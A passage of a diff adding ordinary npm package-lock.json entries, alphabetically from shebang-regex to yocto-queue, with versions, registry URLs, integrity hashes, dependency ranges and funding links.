"https://registry.npmjs.org/shebang-regex/-/shebang-regex-1.0.0.tgz", + "integrity": "sha512-wpoSFAxys6b2a2wHZ1XpDSgD7N9iVjg29Ph9uV/uaP9Ex/KXlkTZTeddxDPSYQpgvzKLGJke2UU0AzoGCjNIvQ==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/shiki": { + "version": "0.14.7", + "resolved": "https://registry.npmjs.org/shiki/-/shiki-0.14.7.tgz", + "integrity": "sha512-dNPAPrxSc87ua2sKJ3H5dQ/6ZaY8RNnaAqK+t0eG7p0Soi2ydiqbGOTaZCqaYvA/uZYfS1LJnemt3Q+mSfcPCg==", + "dependencies": { + "ansi-sequence-parser": "^1.1.0", + "jsonc-parser": "^3.2.0", + "vscode-oniguruma": "^1.7.0", + "vscode-textmate": "^8.0.0" + } + }, + "node_modules/signal-exit": { + "version": "3.0.7", + "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.7.tgz", + "integrity": "sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ==" + }, + "node_modules/slash": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/slash/-/slash-3.0.0.tgz", + "integrity": "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==", + "engines": { + "node": ">=8" + } + }, + "node_modules/sort-keys": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/sort-keys/-/sort-keys-5.0.0.tgz", + "integrity": "sha512-Pdz01AvCAottHTPQGzndktFNdbRA75BgOfeT1hH+AMnJFv8lynkPi42rfeEhpx1saTEI3YNMWxfqu0sFD1G8pw==", + "dependencies": { + "is-plain-obj": "^4.0.0" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/sort-keys/node_modules/is-plain-obj": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/is-plain-obj/-/is-plain-obj-4.1.0.tgz", + "integrity": "sha512-+Pgi+vMuUNkJyExiMBt5IlFoMyKnr5zhJ4Uspz58WOhBF5QoIZkFyNHIbBAtHwzVAgk5RtndVNsDRN61/mmDqg==", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/source-map": { + "version": "0.7.4", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.7.4.tgz", + "integrity": "sha512-l3BikUxvPOcn5E74dZiq5BGsTb5yEwhaTSzccU6t4sDOH8NWJCstKO5QT2CvtFoK6F0saL7p9xHAqHOlCPJygA==", + "engines": { + "node": ">= 8" + } + }, + "node_modules/source-map-js": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.2.0.tgz", + "integrity": "sha512-itJW8lvSA0TXEphiRoawsCksnlf8SyvmFzIhltqAHluXd88pkCd+cXJVHTDwdCr0IzwptSm035IHQktUu1QUMg==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/space-separated-tokens": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/space-separated-tokens/-/space-separated-tokens-2.0.2.tgz", + "integrity": "sha512-PEGlAwrG8yXGXRjW32fGbg66JAlOAwbObuqVoJpv/mRgoWDQfgH1wDPvtzWyUSNAXBGSk8h755YDbbcEy3SH2Q==", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/sprintf-js": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.0.3.tgz", + "integrity": "sha512-D9cPgkvLlV3t3IzL0D0YLvGA9Ahk4PcvVwUbN0dSGr1aP0Nrt4AEnTUbuGvquEC0mA64Gqt1fzirlRs5ibXx8g==" + }, + "node_modules/streamsearch": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/streamsearch/-/streamsearch-1.1.0.tgz", + "integrity": "sha512-Mcc5wHehp9aXz1ax6bZUyY5afg9u2rv5cqQI3mRrYkGC8rW2hM02jWuwjtL++LS5qinSyhj2QfLyNsuc+VsExg==", + "engines": { + "node": ">=10.0.0" + } + }, + "node_modules/stringify-entities": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/stringify-entities/-/stringify-entities-4.0.3.tgz", + "integrity": "sha512-BP9nNHMhhfcMbiuQKCqMjhDP5yBCAxsPu4pHFFzJ6Alo9dZgY4VLDPutXqIjpRiMoKdp7Av85Gr73Q5uH9k7+g==", + "dependencies": { + "character-entities-html4": "^2.0.0", + "character-entities-legacy": "^3.0.0" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/strip-bom-string": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/strip-bom-string/-/strip-bom-string-1.0.0.tgz", + "integrity": "sha512-uCC2VHvQRYu+lMh4My/sFNmF2klFymLX1wHJeXnbEJERpV/ZsVuonzerjfrGpIGF7LBVa1O7i9kjiWvJiFck8g==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/strip-eof": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/strip-eof/-/strip-eof-1.0.0.tgz", + "integrity": "sha512-7FCwGGmx8mD5xQd3RPUvnSpUXHM3BWuzjtpD4TXsfcZ9EL4azvVVUscFYwD9nx8Kh+uCBC00XBtAykoMHwTh8Q==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/style-to-object": { + "version": "0.4.4", + "resolved": "https://registry.npmjs.org/style-to-object/-/style-to-object-0.4.4.tgz", + "integrity": "sha512-HYNoHZa2GorYNyqiCaBgsxvcJIn7OHq6inEga+E6Ke3m5JkoqpQbnFssk4jwe+K7AhGa2fcha4wSOf1Kn01dMg==", + "dependencies": { + "inline-style-parser": "0.1.1" + } + }, + "node_modules/styled-jsx": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/styled-jsx/-/styled-jsx-5.1.1.tgz", + "integrity": "sha512-pW7uC1l4mBZ8ugbiZrcIsiIvVx1UmTfw7UkC3Um2tmfUq9Bhk8IiyEIPl6F8agHgjzku6j0xQEZbfA5uSgSaCw==", + "dependencies": { + "client-only": "0.0.1" + }, + "engines": { + "node": ">= 12.0.0" + }, + "peerDependencies": { + "react": ">= 16.8.0 || 17.x.x || ^18.0.0-0" + }, + "peerDependenciesMeta": { + "@babel/core": { + "optional": true + }, + "babel-plugin-macros": { + "optional": true + } + } + }, + "node_modules/stylis": { + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/stylis/-/stylis-4.3.1.tgz", + "integrity": "sha512-EQepAV+wMsIaGVGX1RECzgrcqRRU/0sYOHkeLsZ3fzHaHXZy4DaOOX0vOlGQdlsjkh3mFHAIlVimpwAs4dslyQ==" + }, + "node_modules/supports-color": { + "version": "4.5.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-4.5.0.tgz", + "integrity": "sha512-ycQR/UbvI9xIlEdQT1TQqwoXtEldExbCEAJgRo5YXlmSKjv6ThHnP9/vwGa1gr19Gfw+LkFd7KqYMhzrRC5JYw==", + "dependencies": { + "has-flag": "^2.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/title": { + "version": "3.5.3", + "resolved": "https://registry.npmjs.org/title/-/title-3.5.3.tgz", + "integrity": "sha512-20JyowYglSEeCvZv3EZ0nZ046vLarO37prvV0mbtQV7C8DJPGgN967r8SJkqd3XK3K3lD3/Iyfp3avjfil8Q2Q==", + "dependencies": { + "arg": "1.0.0", + "chalk": "2.3.0", + "clipboardy": "1.2.2", + "titleize": "1.0.0" + }, + "bin": { + "title": "bin/title.js" + } + }, + "node_modules/titleize": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/titleize/-/titleize-1.0.0.tgz", + "integrity": "sha512-TARUb7z1pGvlLxgPk++7wJ6aycXF3GJ0sNSBTAsTuJrQG5QuZlkUQP+zl+nbjAh4gMX9yDw9ZYklMd7vAfJKEw==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/trim-lines": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/trim-lines/-/trim-lines-3.0.1.tgz", + "integrity": "sha512-kRj8B+YHZCc9kQYdWfJB2/oUl9rA99qbowYYBtr4ui4mZyAQ2JpvVBd/6U2YloATfqBhBTSMhTpgBHtU0Mf3Rg==", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/trough": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/trough/-/trough-2.2.0.tgz", + "integrity": "sha512-tmMpK00BjZiUyVyvrBK7knerNgmgvcV/KLVyuma/SC+TQN167GrMRciANTz09+k3zW8L8t60jWO1GpfkZdjTaw==", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/ts-dedent": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/ts-dedent/-/ts-dedent-2.2.0.tgz", + "integrity": "sha512-q5W7tVM71e2xjHZTlgfTDoPF/SmqKG5hddq9SzR49CH2hayqRKJtQ4mtRlSxKaJlR/+9rEM+mnBHf7I2/BQcpQ==", + "engines": { + "node": ">=6.10" + } + }, + "node_modules/tslib": { + "version": "2.6.2", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.6.2.tgz", + "integrity": "sha512-AEYxH93jGFPn/a2iVAwW87VuUIkR1FVUKB77NwMF7nBTDkDrrT/Hpt/IrCJ0QXhW27jTBDcf5ZY7w6RiqTMw2Q==" + }, + "node_modules/type-fest": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-1.4.0.tgz", + "integrity": "sha512-yGSza74xk0UG8k+pLh5oeoYirvIiWo5t0/o3zHHAO2tRDiZcxWP7fywNlXhqb6/r6sWvwi+RsyQMWhVLe4BVuA==", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/typescript": { + "version": "4.9.5", + "resolved": "https://registry.npmjs.org/typescript/-/typescript-4.9.5.tgz", + "integrity": "sha512-1FXk9E2Hm+QzZQ7z+McJiHL4NW1F2EzMu9Nq9i3zAaGqibafqYwCVU6WyWAuyQRRzOlxou8xZSyXLEN8oKj24g==", + "dev": true, + "bin": { + "tsc": "bin/tsc", + "tsserver": "bin/tsserver" + }, + "engines": { + "node": ">=4.2.0" + } + }, + "node_modules/unified": { + "version": "10.1.2", + "resolved": "https://registry.npmjs.org/unified/-/unified-10.1.2.tgz", + "integrity": "sha512-pUSWAi/RAnVy1Pif2kAoeWNBa3JVrx0MId2LASj8G+7AiHWoKZNTomq6LG326T68U7/e263X6fTdcXIy7XnF7Q==", + "dependencies": { + "@types/unist": "^2.0.0", + "bail": "^2.0.0", + "extend": "^3.0.0", + "is-buffer": "^2.0.0", + "is-plain-obj": "^4.0.0", + "trough": "^2.0.0", + "vfile": "^5.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/unified/node_modules/is-plain-obj": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/is-plain-obj/-/is-plain-obj-4.1.0.tgz", + "integrity": "sha512-+Pgi+vMuUNkJyExiMBt5IlFoMyKnr5zhJ4Uspz58WOhBF5QoIZkFyNHIbBAtHwzVAgk5RtndVNsDRN61/mmDqg==", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/unist-util-find-after": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/unist-util-find-after/-/unist-util-find-after-5.0.0.tgz", + "integrity": "sha512-amQa0Ep2m6hE2g72AugUItjbuM8X8cGQnFoHk0pGfrFeT9GZhzN5SW8nRsiGKK7Aif4CrACPENkA6P/Lw6fHGQ==", + "dependencies": { + "@types/unist": "^3.0.0", + "unist-util-is": "^6.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/unist-util-find-after/node_modules/@types/unist": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/@types/unist/-/unist-3.0.2.tgz", + "integrity": "sha512-dqId9J8K/vGi5Zr7oo212BGii5m3q5Hxlkwy3WpYuKPklmBEvsbMYYyLxAQpSffdLl/gdW0XUpKWFvYmyoWCoQ==" + }, + "node_modules/unist-util-find-after/node_modules/unist-util-is": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/unist-util-is/-/unist-util-is-6.0.0.tgz", + "integrity": "sha512-2qCTHimwdxLfz+YzdGfkqNlH0tLi9xjTnHddPmJwtIG9MGsdbutfTc4P+haPD7l7Cjxf/WZj+we5qfVPvvxfYw==", + "dependencies": { + "@types/unist": "^3.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/unist-util-generated": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/unist-util-generated/-/unist-util-generated-2.0.1.tgz", + "integrity": "sha512-qF72kLmPxAw0oN2fwpWIqbXAVyEqUzDHMsbtPvOudIlUzXYFIeQIuxXQCRCFh22B7cixvU0MG7m3MW8FTq/S+A==", + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/unist-util-is": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/unist-util-is/-/unist-util-is-5.2.1.tgz", + "integrity": "sha512-u9njyyfEh43npf1M+yGKDGVPbY/JWEemg5nH05ncKPfi+kBbKBJoTdsogMu33uhytuLlv9y0O7GH7fEdwLdLQw==", + "dependencies": { + "@types/unist": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/unist-util-position": { + "version": "4.0.4", + "resolved": "https://registry.npmjs.org/unist-util-position/-/unist-util-position-4.0.4.tgz", + "integrity": "sha512-kUBE91efOWfIVBo8xzh/uZQ7p9ffYRtUbMRZBNFYwf0RK8koUMx6dGUfwylLOKmaT2cs4wSW96QoYUSXAyEtpg==", + "dependencies": { + "@types/unist": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/unist-util-position-from-estree": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/unist-util-position-from-estree/-/unist-util-position-from-estree-1.1.2.tgz", + "integrity": "sha512-poZa0eXpS+/XpoQwGwl79UUdea4ol2ZuCYguVaJS4qzIOMDzbqz8a3erUCOmubSZkaOuGamb3tX790iwOIROww==", + "dependencies": { + "@types/unist": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/unist-util-remove": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/unist-util-remove/-/unist-util-remove-4.0.0.tgz", + "integrity": "sha512-b4gokeGId57UVRX/eVKej5gXqGlc9+trkORhFJpu9raqZkZhU0zm8Doi05+HaiBsMEIJowL+2WtQ5ItjsngPXg==", + "dependencies": { + "@types/unist": "^3.0.0", + "unist-util-is": "^6.0.0", + "unist-util-visit-parents": "^6.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/unist-util-remove-position": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/unist-util-remove-position/-/unist-util-remove-position-5.0.0.tgz", + "integrity": "sha512-Hp5Kh3wLxv0PHj9m2yZhhLt58KzPtEYKQQ4yxfYFEO7EvHwzyDYnduhHnY1mDxoqr7VUwVuHXk9RXKIiYS1N8Q==", + "dependencies": { + "@types/unist": "^3.0.0", + "unist-util-visit": "^5.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/unist-util-remove-position/node_modules/@types/unist": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/@types/unist/-/unist-3.0.2.tgz", + "integrity": "sha512-dqId9J8K/vGi5Zr7oo212BGii5m3q5Hxlkwy3WpYuKPklmBEvsbMYYyLxAQpSffdLl/gdW0XUpKWFvYmyoWCoQ==" + }, + "node_modules/unist-util-remove/node_modules/@types/unist": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/@types/unist/-/unist-3.0.2.tgz", + "integrity": "sha512-dqId9J8K/vGi5Zr7oo212BGii5m3q5Hxlkwy3WpYuKPklmBEvsbMYYyLxAQpSffdLl/gdW0XUpKWFvYmyoWCoQ==" + }, + "node_modules/unist-util-remove/node_modules/unist-util-is": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/unist-util-is/-/unist-util-is-6.0.0.tgz", + "integrity": "sha512-2qCTHimwdxLfz+YzdGfkqNlH0tLi9xjTnHddPmJwtIG9MGsdbutfTc4P+haPD7l7Cjxf/WZj+we5qfVPvvxfYw==", + "dependencies": { + "@types/unist": "^3.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/unist-util-stringify-position": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/unist-util-stringify-position/-/unist-util-stringify-position-3.0.3.tgz", + "integrity": "sha512-k5GzIBZ/QatR8N5X2y+drfpWG8IDBzdnVj6OInRNWm1oXrzydiaAT2OQiA8DPRRZyAKb9b6I2a6PxYklZD0gKg==", + "dependencies": { + "@types/unist": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/unist-util-visit": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/unist-util-visit/-/unist-util-visit-5.0.0.tgz", + "integrity": "sha512-MR04uvD+07cwl/yhVuVWAtw+3GOR/knlL55Nd/wAdblk27GCVt3lqpTivy/tkJcZoNPzTwS1Y+KMojlLDhoTzg==", + "dependencies": { + "@types/unist": "^3.0.0", + "unist-util-is": "^6.0.0", + "unist-util-visit-parents": "^6.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/unist-util-visit-parents": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/unist-util-visit-parents/-/unist-util-visit-parents-6.0.1.tgz", + "integrity": "sha512-L/PqWzfTP9lzzEa6CKs0k2nARxTdZduw3zyh8d2NVBnsyvHjSX4TWse388YrrQKbvI8w20fGjGlhgT96WwKykw==", + "dependencies": { + "@types/unist": "^3.0.0", + "unist-util-is": "^6.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/unist-util-visit-parents/node_modules/@types/unist": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/@types/unist/-/unist-3.0.2.tgz", + "integrity": "sha512-dqId9J8K/vGi5Zr7oo212BGii5m3q5Hxlkwy3WpYuKPklmBEvsbMYYyLxAQpSffdLl/gdW0XUpKWFvYmyoWCoQ==" + }, + "node_modules/unist-util-visit-parents/node_modules/unist-util-is": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/unist-util-is/-/unist-util-is-6.0.0.tgz", + "integrity": "sha512-2qCTHimwdxLfz+YzdGfkqNlH0tLi9xjTnHddPmJwtIG9MGsdbutfTc4P+haPD7l7Cjxf/WZj+we5qfVPvvxfYw==", + "dependencies": { + "@types/unist": "^3.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/unist-util-visit/node_modules/@types/unist": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/@types/unist/-/unist-3.0.2.tgz", + "integrity": "sha512-dqId9J8K/vGi5Zr7oo212BGii5m3q5Hxlkwy3WpYuKPklmBEvsbMYYyLxAQpSffdLl/gdW0XUpKWFvYmyoWCoQ==" + }, + "node_modules/unist-util-visit/node_modules/unist-util-is": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/unist-util-is/-/unist-util-is-6.0.0.tgz", + "integrity": "sha512-2qCTHimwdxLfz+YzdGfkqNlH0tLi9xjTnHddPmJwtIG9MGsdbutfTc4P+haPD7l7Cjxf/WZj+we5qfVPvvxfYw==", + "dependencies": { + "@types/unist": "^3.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/uuid": { + "version": "9.0.1", + "resolved": "https://registry.npmjs.org/uuid/-/uuid-9.0.1.tgz", + "integrity": "sha512-b+1eJOlsR9K8HJpow9Ok3fiWOWSIcIzXodvv0rQjVoOVNpWMpxf1wZNpt4y9h10odCNrqnYp1OBzRktckBe3sA==", + "funding": [ + "https://github.com/sponsors/broofa", + "https://github.com/sponsors/ctavan" + ], + "bin": { + "uuid": "dist/bin/uuid" + } + }, + "node_modules/uvu": { + "version": "0.5.6", + "resolved": "https://registry.npmjs.org/uvu/-/uvu-0.5.6.tgz", + "integrity": "sha512-+g8ENReyr8YsOc6fv/NVJs2vFdHBnBNdfE49rshrTzDWOlUx4Gq7KOS2GD8eqhy2j+Ejq29+SbKH8yjkAqXqoA==", + "dependencies": { + "dequal": "^2.0.0", + "diff": "^5.0.0", + "kleur": "^4.0.3", + "sade": "^1.7.3" + }, + "bin": { + "uvu": "bin.js" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/vfile": { + "version": "5.3.7", + "resolved": "https://registry.npmjs.org/vfile/-/vfile-5.3.7.tgz", + "integrity": "sha512-r7qlzkgErKjobAmyNIkkSpizsFPYiUPuJb5pNW1RB4JcYVZhs4lIbVqk8XPk033CV/1z8ss5pkax8SuhGpcG8g==", + "dependencies": { + "@types/unist": "^2.0.0", + "is-buffer": "^2.0.0", + "unist-util-stringify-position": "^3.0.0", + "vfile-message": "^3.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/vfile-location": { + "version": "5.0.2", + "resolved": "https://registry.npmjs.org/vfile-location/-/vfile-location-5.0.2.tgz", + "integrity": "sha512-NXPYyxyBSH7zB5U6+3uDdd6Nybz6o6/od9rk8bp9H8GR3L+cm/fC0uUTbqBmUTnMCUDslAGBOIKNfvvb+gGlDg==", + "dependencies": { + "@types/unist": "^3.0.0", + "vfile": "^6.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/vfile-location/node_modules/@types/unist": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/@types/unist/-/unist-3.0.2.tgz", + "integrity": "sha512-dqId9J8K/vGi5Zr7oo212BGii5m3q5Hxlkwy3WpYuKPklmBEvsbMYYyLxAQpSffdLl/gdW0XUpKWFvYmyoWCoQ==" + }, + "node_modules/vfile-location/node_modules/unist-util-stringify-position": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/unist-util-stringify-position/-/unist-util-stringify-position-4.0.0.tgz", + "integrity": "sha512-0ASV06AAoKCDkS2+xw5RXJywruurpbC4JZSm7nr7MOt1ojAzvyyaO+UxZf18j8FCF6kmzCZKcAgN/yu2gm2XgQ==", + "dependencies": { + "@types/unist": "^3.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/vfile-location/node_modules/vfile": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/vfile/-/vfile-6.0.1.tgz", + "integrity": "sha512-1bYqc7pt6NIADBJ98UiG0Bn/CHIVOoZ/IyEkqIruLg0mE1BKzkOXY2D6CSqQIcKqgadppE5lrxgWXJmXd7zZJw==", + "dependencies": { + "@types/unist": "^3.0.0", + "unist-util-stringify-position": "^4.0.0", + "vfile-message": "^4.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/vfile-matter": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/vfile-matter/-/vfile-matter-3.0.1.tgz", + "integrity": "sha512-CAAIDwnh6ZdtrqAuxdElUqQRQDQgbbIrYtDYI8gCjXS1qQ+1XdLoK8FIZWxJwn0/I+BkSSZpar3SOgjemQz4fg==", + "dependencies": { + "@types/js-yaml": "^4.0.0", + "is-buffer": "^2.0.0", + "js-yaml": "^4.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/vfile-matter/node_modules/argparse": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/argparse/-/argparse-2.0.1.tgz", + "integrity": "sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==" + }, + "node_modules/vfile-matter/node_modules/js-yaml": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-4.1.0.tgz", + "integrity": "sha512-wpxZs9NoxZaJESJGIZTyDEaYpl0FKSA+FB9aJiyemKhMwkxQg63h4T1KJgUGHpTqPDNRcmmYLugrRjJlBtWvRA==", + "dependencies": { + "argparse": "^2.0.1" + }, + "bin": { + "js-yaml": "bin/js-yaml.js" + } + }, + "node_modules/vfile-message": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/vfile-message/-/vfile-message-4.0.2.tgz", + "integrity": "sha512-jRDZ1IMLttGj41KcZvlrYAaI3CfqpLpfpf+Mfig13viT6NKvRzWZ+lXz0Y5D60w6uJIBAOGq9mSHf0gktF0duw==", + "dependencies": { + "@types/unist": "^3.0.0", + "unist-util-stringify-position": "^4.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/vfile-message/node_modules/@types/unist": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/@types/unist/-/unist-3.0.2.tgz", + "integrity": "sha512-dqId9J8K/vGi5Zr7oo212BGii5m3q5Hxlkwy3WpYuKPklmBEvsbMYYyLxAQpSffdLl/gdW0XUpKWFvYmyoWCoQ==" + }, + "node_modules/vfile-message/node_modules/unist-util-stringify-position": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/unist-util-stringify-position/-/unist-util-stringify-position-4.0.0.tgz", + "integrity": "sha512-0ASV06AAoKCDkS2+xw5RXJywruurpbC4JZSm7nr7MOt1ojAzvyyaO+UxZf18j8FCF6kmzCZKcAgN/yu2gm2XgQ==", + "dependencies": { + "@types/unist": "^3.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/vfile/node_modules/vfile-message": { + "version": "3.1.4", + "resolved": "https://registry.npmjs.org/vfile-message/-/vfile-message-3.1.4.tgz", + "integrity": "sha512-fa0Z6P8HUrQN4BZaX05SIVXic+7kE3b05PWAtPuYP9QLHsLKYR7/AlLW3NtOrpXRLeawpDLMsVkmk5DG0NXgWw==", + "dependencies": { + "@types/unist": "^2.0.0", + "unist-util-stringify-position": "^3.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/vscode-oniguruma": { + "version": "1.7.0", + "resolved": "https://registry.npmjs.org/vscode-oniguruma/-/vscode-oniguruma-1.7.0.tgz", + "integrity": "sha512-L9WMGRfrjOhgHSdOYgCt/yRMsXzLDJSL7BPrOZt73gU0iWO4mpqzqQzOz5srxqTvMBaR0XZTSrVWo4j55Rc6cA==" + }, + "node_modules/vscode-textmate": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/vscode-textmate/-/vscode-textmate-8.0.0.tgz", + "integrity": "sha512-AFbieoL7a5LMqcnOF04ji+rpXadgOXnZsxQr//r83kLPr7biP7am3g9zbaZIaBGwBRWeSvoMD4mgPdX3e4NWBg==" + }, + "node_modules/watchpack": { + "version": "2.4.0", + "resolved": "https://registry.npmjs.org/watchpack/-/watchpack-2.4.0.tgz", + "integrity": "sha512-Lcvm7MGST/4fup+ifyKi2hjyIAwcdI4HRgtvTpIUxBRhB+RFtUh8XtDOxUfctVCnhVi+QQj49i91OyvzkJl6cg==", + "dependencies": { + "glob-to-regexp": "^0.4.1", + "graceful-fs": "^4.1.2" + }, + "engines": { + "node": ">=10.13.0" + } + }, + "node_modules/web-namespaces": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/web-namespaces/-/web-namespaces-2.0.1.tgz", + "integrity": "sha512-bKr1DkiNa2krS7qxNtdrtHAmzuYGFQLiQ13TsorsdT6ULTkPLKuu5+GsFpDlg6JFjUTwX2DyhMPG2be8uPrqsQ==", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/web-worker": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/web-worker/-/web-worker-1.3.0.tgz", + "integrity": "sha512-BSR9wyRsy/KOValMgd5kMyr3JzpdeoR9KVId8u5GVlTTAtNChlsE4yTxeY7zMdNSyOmoKBv8NH2qeRY9Tg+IaA==" + }, + "node_modules/which": { + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/which/-/which-1.3.1.tgz", + "integrity": "sha512-HxJdYWq1MTIQbJ3nw0cqssHoTNU267KlrDuGZ1WYlxDStUtKUhOaJmh112/TZmHxxUfuJqPXSOm7tDyas0OSIQ==", + "dependencies": { + "isexe": "^2.0.0" + }, + "bin": { + "which": "bin/which" + } + }, + "node_modules/yallist": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/yallist/-/yallist-2.1.2.tgz", + "integrity": "sha512-ncTzHV7NvsQZkYe1DW7cbDLm0YpzHmZF5r/iyP3ZnQtMiJ+pjzisCiMNI+Sj+xQF5pXhSHxSB3uDbsBTzY/c2A==" + }, + "node_modules/yocto-queue": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/yocto-queue/-/yocto-queue-0.1.0.tgz", + "integrity": "sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q==", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } 